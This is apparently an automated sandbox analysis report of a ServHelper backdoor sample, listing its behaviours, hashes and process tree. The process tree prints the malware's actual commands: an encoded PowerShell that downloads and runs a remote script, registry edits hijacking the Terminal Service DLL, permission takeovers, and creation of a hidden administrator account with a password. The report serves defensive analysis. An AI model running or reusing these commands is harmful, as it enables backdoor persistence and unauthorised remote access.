Resubmissions
02-09-2021 16:57
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210902-9dk89x9wb2 1014-08-2021 13:56
210814-xdxpv1yk2x 10Analysis
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max time kernel
128s -
max time network
113s -
platform
windows7_x64 -
resource
win7v20210410 -
submitted
14-08-2021 13:56
Static task
static1
Behavioral task
behavioral1
Sample
472208d7ba18d4c14b7e90b9db5d6feb.exe
Resource
win7v20210410
Behavioral task
behavioral2
Sample
472208d7ba18d4c14b7e90b9db5d6feb.exe
Resource
win10v20210410
General
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Target
472208d7ba18d4c14b7e90b9db5d6feb.exe
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Size
5.9MB
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MD5
472208d7ba18d4c14b7e90b9db5d6feb
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SHA1
ff24cc43998ff99e61b1a838e1d51c4888498935
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SHA256
ae1c9d454905ed43654f99b1ea1e8ecc3ae08eb75c3860f46b285ce724ae5e4d
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SHA512
9ce72c4da799273ae13008c0033c3d0638f224042ae3bb7910ffb5f59a64babbcd8039468b0a94b8fa5f3192f543a59f493878ade5233d9958d874d59a1e1a15
Malware Config
Extracted
https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1
Signatures
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ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
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Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.
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Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 13 528 powershell.exe -
Modifies RDP port number used by Windows 1 TTPs
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Possible privilege escalation attempt 8 IoCs
Processes:
icacls.exeicacls.exetakeown.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exepid process 2032 icacls.exe 1772 icacls.exe 1608 takeown.exe 1552 icacls.exe 840 icacls.exe 880 icacls.exe 1096 icacls.exe 292 icacls.exe -
Sets DLL path for service in the registry 2 TTPs
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Processes:
resource yara_rule \Windows\Branding\mediasrv.png upx \Windows\Branding\mediasvc.png upx -
Loads dropped DLL 2 IoCs
Processes:
pid process 1260 1260 -
Modifies file permissions 1 TTPs 8 IoCs
Processes:
icacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exetakeown.exepid process 1552 icacls.exe 840 icacls.exe 880 icacls.exe 1096 icacls.exe 292 icacls.exe 2032 icacls.exe 1772 icacls.exe 1608 takeown.exe -
Drops file in System32 directory 1 IoCs
Processes:
powershell.exedescription ioc process File created C:\Windows\system32\rfxvmt.dll powershell.exe -
Drops file in Windows directory 21 IoCs
Processes:
powershell.exepowershell.exedescription ioc process File opened for modification C:\Windows\branding\mediasvc.png powershell.exe File opened for modification C:\Windows\branding\wupsvc.jpg powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_2ea5ec7f-3977-42a3-8f3c-edb5b594df3b powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_2da917a7-d9fd-4863-910b-73b3d8991586 powershell.exe File created C:\Windows\branding\mediasrv.png powershell.exe File created C:\Windows\branding\wupsvc.jpg powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_47148d41-5c43-4860-95ba-c65b616f08a3 powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_05272146-0fd5-4edd-9d77-82a960f492bc powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_a30870a0-a54d-4aac-8676-a3aaa5779a35 powershell.exe File opened for modification C:\Windows\branding\mediasrv.png powershell.exe File created C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\PNPBBMIQC3WM15REJL3S.temp powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_8da6ccca-718e-482b-820d-bf1787687cae powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_556fd6dc-5bef-4812-aaa0-976cc916ac77 powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_06a14f1a-e5a8-4ec7-8ca6-7a9b6b4095c1 powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_7e4d5222-ed26-45db-b8a5-34b7dbfb4146 powershell.exe File created C:\Windows\branding\mediasvc.png powershell.exe File opened for modification C:\Windows\branding\Basebrd powershell.exe File opened for modification C:\Windows\branding\ShellBrd powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_bdeb388d-2da3-40f6-b97c-e56af24a33fb powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_ad8de256-4264-4fec-b7a0-af1e6f28b22b powershell.exe -
Modifies data under HKEY_USERS 4 IoCs
Processes:
WMIC.exeWMIC.exepowershell.exedescription ioc process Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 30f5baca1491d701 powershell.exe -
Modifies registry key 1 TTPs 1 IoCs
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Processes:
472208d7ba18d4c14b7e90b9db5d6feb.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13 472208d7ba18d4c14b7e90b9db5d6feb.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 040000000100000010000000410352dc0ff7501b16f0028eba6f45c50f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d0b000000010000001e000000440053005400200052006f006f0074002000430041002000580033000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc415608589101d00000001000000100000004558d512eecb27464920897de7b66053030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131900000001000000100000006cf252fec3e8f20996de5d4dd9aef42420000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510 472208d7ba18d4c14b7e90b9db5d6feb.exe -
Runs net.exe
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Suspicious behavior: EnumeratesProcesses 13 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepid process 544 powershell.exe 544 powershell.exe 1080 powershell.exe 1080 powershell.exe 1356 powershell.exe 1356 powershell.exe 1524 powershell.exe 1524 powershell.exe 544 powershell.exe 544 powershell.exe 544 powershell.exe 528 powershell.exe 528 powershell.exe -
Suspicious behavior: LoadsDriver 5 IoCs
Processes:
pid process 464 1260 1260 1260 1260 -
Suspicious use of AdjustPrivilegeToken 19 IoCs
Processes:
472208d7ba18d4c14b7e90b9db5d6feb.exepowershell.exepowershell.exepowershell.exepowershell.exeicacls.exeWMIC.exeWMIC.exepowershell.exedescription pid process Token: SeDebugPrivilege 1268 472208d7ba18d4c14b7e90b9db5d6feb.exe Token: SeDebugPrivilege 544 powershell.exe Token: SeDebugPrivilege 1080 powershell.exe Token: SeDebugPrivilege 1356 powershell.exe Token: SeDebugPrivilege 1524 powershell.exe Token: SeRestorePrivilege 840 icacls.exe Token: SeAssignPrimaryTokenPrivilege 1832 WMIC.exe Token: SeIncreaseQuotaPrivilege 1832 WMIC.exe Token: SeAuditPrivilege 1832 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 1832 WMIC.exe Token: SeIncreaseQuotaPrivilege 1832 WMIC.exe Token: SeAuditPrivilege 1832 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 1512 WMIC.exe Token: SeIncreaseQuotaPrivilege 1512 WMIC.exe Token: SeAuditPrivilege 1512 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 1512 WMIC.exe Token: SeIncreaseQuotaPrivilege 1512 WMIC.exe Token: SeAuditPrivilege 1512 WMIC.exe Token: SeDebugPrivilege 528 powershell.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
472208d7ba18d4c14b7e90b9db5d6feb.exepowershell.execsc.exenet.execmd.execmd.exedescription pid process target process PID 1268 wrote to memory of 544 1268 472208d7ba18d4c14b7e90b9db5d6feb.exe powershell.exe PID 1268 wrote to memory of 544 1268 472208d7ba18d4c14b7e90b9db5d6feb.exe powershell.exe PID 1268 wrote to memory of 544 1268 472208d7ba18d4c14b7e90b9db5d6feb.exe powershell.exe PID 544 wrote to memory of 320 544 powershell.exe csc.exe PID 544 wrote to memory of 320 544 powershell.exe csc.exe PID 544 wrote to memory of 320 544 powershell.exe csc.exe PID 320 wrote to memory of 1496 320 csc.exe cvtres.exe PID 320 wrote to memory of 1496 320 csc.exe cvtres.exe PID 320 wrote to memory of 1496 320 csc.exe cvtres.exe PID 544 wrote to memory of 1080 544 powershell.exe powershell.exe PID 544 wrote to memory of 1080 544 powershell.exe powershell.exe PID 544 wrote to memory of 1080 544 powershell.exe powershell.exe PID 544 wrote to memory of 1356 544 powershell.exe powershell.exe PID 544 wrote to memory of 1356 544 powershell.exe powershell.exe PID 544 wrote to memory of 1356 544 powershell.exe powershell.exe PID 544 wrote to memory of 1524 544 powershell.exe powershell.exe PID 544 wrote to memory of 1524 544 powershell.exe powershell.exe PID 544 wrote to memory of 1524 544 powershell.exe powershell.exe PID 544 wrote to memory of 1608 544 powershell.exe takeown.exe PID 544 wrote to memory of 1608 544 powershell.exe takeown.exe PID 544 wrote to memory of 1608 544 powershell.exe takeown.exe PID 544 wrote to memory of 1552 544 powershell.exe icacls.exe PID 544 wrote to memory of 1552 544 powershell.exe icacls.exe PID 544 wrote to memory of 1552 544 powershell.exe icacls.exe PID 544 wrote to memory of 840 544 powershell.exe icacls.exe PID 544 wrote to memory of 840 544 powershell.exe icacls.exe PID 544 wrote to memory of 840 544 powershell.exe icacls.exe PID 544 wrote to memory of 880 544 powershell.exe icacls.exe PID 544 wrote to memory of 880 544 powershell.exe icacls.exe PID 544 wrote to memory of 880 544 powershell.exe icacls.exe PID 544 wrote to memory of 1096 544 powershell.exe icacls.exe PID 544 wrote to memory of 1096 544 powershell.exe icacls.exe PID 544 wrote to memory of 1096 544 powershell.exe icacls.exe PID 544 wrote to memory of 292 544 powershell.exe icacls.exe PID 544 wrote to memory of 292 544 powershell.exe icacls.exe PID 544 wrote to memory of 292 544 powershell.exe icacls.exe PID 544 wrote to memory of 2032 544 powershell.exe icacls.exe PID 544 wrote to memory of 2032 544 powershell.exe icacls.exe PID 544 wrote to memory of 2032 544 powershell.exe icacls.exe PID 544 wrote to memory of 1772 544 powershell.exe icacls.exe PID 544 wrote to memory of 1772 544 powershell.exe icacls.exe PID 544 wrote to memory of 1772 544 powershell.exe icacls.exe PID 544 wrote to memory of 968 544 powershell.exe reg.exe PID 544 wrote to memory of 968 544 powershell.exe reg.exe PID 544 wrote to memory of 968 544 powershell.exe reg.exe PID 544 wrote to memory of 1584 544 powershell.exe reg.exe PID 544 wrote to memory of 1584 544 powershell.exe reg.exe PID 544 wrote to memory of 1584 544 powershell.exe reg.exe PID 544 wrote to memory of 1812 544 powershell.exe reg.exe PID 544 wrote to memory of 1812 544 powershell.exe reg.exe PID 544 wrote to memory of 1812 544 powershell.exe reg.exe PID 544 wrote to memory of 1600 544 powershell.exe net.exe PID 544 wrote to memory of 1600 544 powershell.exe net.exe PID 544 wrote to memory of 1600 544 powershell.exe net.exe PID 1600 wrote to memory of 2036 1600 net.exe net1.exe PID 1600 wrote to memory of 2036 1600 net.exe net1.exe PID 1600 wrote to memory of 2036 1600 net.exe net1.exe PID 544 wrote to memory of 1088 544 powershell.exe cmd.exe PID 544 wrote to memory of 1088 544 powershell.exe cmd.exe PID 544 wrote to memory of 1088 544 powershell.exe cmd.exe PID 1088 wrote to memory of 1572 1088 cmd.exe cmd.exe PID 1088 wrote to memory of 1572 1088 cmd.exe cmd.exe PID 1088 wrote to memory of 1572 1088 cmd.exe cmd.exe PID 1572 wrote to memory of 1608 1572 cmd.exe net.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\472208d7ba18d4c14b7e90b9db5d6feb.exe"C:\Users\Admin\AppData\Local\Temp\472208d7ba18d4c14b7e90b9db5d6feb.exe"1⤵
- Modifies system certificate store
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1268 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'2⤵
- Drops file in System32 directory
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:544 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\rgm3izso\rgm3izso.cmdline"3⤵
- Suspicious use of WriteProcessMemory
PID:320 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES231A.tmp" "c:\Users\Admin\AppData\Local\Temp\rgm3izso\CSC85D7AF40B17C42E391194D9BA22310C3.TMP"4⤵PID:1496
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1080 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1356 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1524 -
C:\Windows\system32\takeown.exe"C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1608 -
C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1552 -
C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:840 -
C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:880 -
C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1096 -
C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:292 -
C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:2032 -
C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1772 -
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f3⤵PID:968
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C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f3⤵
- Modifies registry key
PID:1584 -
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f3⤵PID:1812
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C:\Windows\system32\net.exe"C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add3⤵
- Suspicious use of WriteProcessMemory
PID:1600 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add4⤵PID:2036
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr3⤵
- Suspicious use of WriteProcessMemory
PID:1088 -
C:\Windows\system32\cmd.execmd /c net start rdpdr4⤵
- Suspicious use of WriteProcessMemory
PID:1572 -
C:\Windows\system32\net.exenet start rdpdr5⤵PID:1608
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 start rdpdr6⤵PID:1552
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c cmd /c net start TermService3⤵PID:1320
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C:\Windows\system32\cmd.execmd /c net start TermService4⤵PID:1252
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C:\Windows\system32\net.exenet start TermService5⤵PID:1900
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 start TermService6⤵PID:1096
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f3⤵PID:952
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f3⤵PID:1572
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C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc 000000 /del1⤵PID:1832
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C:\Windows\system32\net.exenet.exe user WgaUtilAcc 000000 /del2⤵PID:1156
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc 000000 /del3⤵PID:540
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C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc vU3jh0FH /add1⤵PID:1600
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C:\Windows\system32\net.exenet.exe user WgaUtilAcc vU3jh0FH /add2⤵PID:1872
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc vU3jh0FH /add3⤵PID:1572
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C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD1⤵PID:2036
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C:\Windows\system32\net.exenet.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD2⤵PID:1960
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD3⤵PID:1156
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C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD1⤵PID:1376
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C:\Windows\system32\net.exenet.exe LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD2⤵PID:880
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD3⤵PID:1872
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C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD1⤵PID:1696
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C:\Windows\system32\net.exenet.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD2⤵PID:540
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD3⤵PID:1960
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C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc vU3jh0FH1⤵PID:2032
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C:\Windows\system32\net.exenet.exe user WgaUtilAcc vU3jh0FH2⤵PID:1600
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc vU3jh0FH3⤵PID:880
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C:\Windows\System32\cmd.execmd.exe /C wmic path win32_VideoController get name1⤵PID:1584
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C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name2⤵
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1832
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C:\Windows\System32\cmd.execmd.exe /C wmic CPU get NAME1⤵PID:1872
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C:\Windows\System32\Wbem\WMIC.exewmic CPU get NAME2⤵
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1512
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C:\Windows\System32\cmd.execmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA1⤵PID:396
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C:\Windows\system32\cmd.execmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA2⤵PID:2036
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA3⤵
- Blocklisted process makes network request
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:528
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_0d77c8f6-2692-4e70-9be3-23d2dc33880a
MD52d5cd190b5db0620cd62e3cd6ba1dcd3
SHA1ff4f229f4fbacccdf11d98c04ba756bda80aac7a
SHA256ab9aee31b3411bcc5a5fb51e9375777cca79cfb3a532d93ddd98a5673c60571d
SHA512edb2a46f3ee33b48f8fe0b548c1e7940978d0e4ac90d5090807d8b5c8b1320217e5d66990b1d0a85546acbbaf9b601590d35de87de234da8eafd60d12fdce610
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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_14af51bd-d8f3-4238-91b4-6a125229db60
MD56f0d509e28be1af95ba237d4f43adab4
SHA1c665febe79e435843553bee86a6cea731ce6c5e4
SHA256f545be30e70cd6e1b70e98239219735f6b61c25712720bb1e1738f02be900e7e
SHA5128dbadc140fd18eb16e2a282e3a0a895299b124850e7b9454a3f24e1cc1c090c5bebfbff5062e8807369e84ed7359e0854722cfd45b9a63681f9fea8c97fab797
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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_2565d98f-df05-4c10-8219-2198dae51591
MD5e5b3ba61c3cf07deda462c9b27eb4166
SHA1b324dad73048be6e27467315f82b7a5c1438a1f9
SHA256b84fae85b6203a0c8c9db3ba3c050c97d6700e5c9ae27dd31c103ec1bbb02925
SHA512a5936a098db2e8c0d0231fd97d73cc996ad99897fd64f0e5c6761c44b8eb2db2bff477843d326503e6027c1113da0e8e35f4227195a3cf505c5a374ebe0f67fc
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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_3794a069-1085-45b1-841e-874486f79230
MD5faa37917b36371249ac9fcf93317bf97
SHA1a0f0d84d58ee518d33a69f5f1c343aa921c8ffd4
SHA256b92f1a891dbe4152a1f834774cc83378d8b4cffb7e344a813219d74ec4084132
SHA512614d3692e5be7554a72a38af408458254af271eaf6855f322ae07aaa647b1478c7ad13027285c8d9999db3739d65ac85ecfdf3e56acca8484083aa0e31de2198
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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_7b419981-7e17-4ba2-8356-db7619e67695
MD5a70ee38af4bb2b5ed3eeb7cbd1a12fa3
SHA181dbaeae4b0f9e1adc0a1e3d6d76a12396498ba9
SHA256dd2f41f92f19c3fe031bdf5da68ab06768e26762d0077b290cd0094df1d5d58d
SHA5128c69a5300c7545c5c4b25a0594e6813b6b7a85b5f3ae7fc5464b4074fe6f50b2f49d31cacf19bc20a02bb8e237656f1b9b2a3f6a3953e3a8478ca2adc154e0e3
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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_b34a1494-4171-4274-af7f-ec2d3d5219d3
MD5d89968acfbd0cd60b51df04860d99896
SHA1b3c29916ccb81ce98f95bbf3aa8a73de16298b29
SHA2561020cc7c929cd5a4e68ccb40353ca76f427df363f0d95e456eb79db039bdb2b9
SHA512b0e886cce598371b59131fed1535e220c798691bad93ef9474ba440066f5a6bd77a60966604b7a5ff6298b2e200c9dd0c8f9f04aff208b2af423480ead4e8842
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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_c6dbfeed-25ff-4c3a-bfd4-e9135c133ff9
MD57f79b990cb5ed648f9e583fe35527aa7
SHA171b177b48c8bd745ef02c2affad79ca222da7c33
SHA256080ec69d3f2abac629a0bdc314f150ad42a9a1b0a031b1d5c7b5b80051c48683
SHA51220926edf7f0b990da4bd8d7ba91bd8bf7b952b75080f687afa7197a91777604688303d38b4a0a7240b558c23f2e0cd927d3590765109f8be0551f5eb050eafda
